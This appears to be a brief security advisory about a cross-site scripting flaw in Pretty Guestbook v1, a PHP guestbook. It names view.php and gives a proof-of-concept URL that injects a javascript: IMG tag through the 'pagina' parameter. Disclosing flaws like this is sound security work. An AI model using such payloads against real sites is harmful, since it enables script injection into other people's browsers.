Pretty Guestbook v1

[luny () youfucktard com]

Homepage:
http://www.tuttophp.altervista.org/main.php

Description:
Text-based guestbook with the following features: - Data storing on text file - Paging of messages on screen - Blockage 
of messages with words too long into - Blockage of messages with both html tags(<>) - Validity-checking of email address

Effected files:
view.php

XSS achived by URL Injection of pagina variable:

http://www.example.com/prettyguest-ing/view.php?pagina=1<IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))>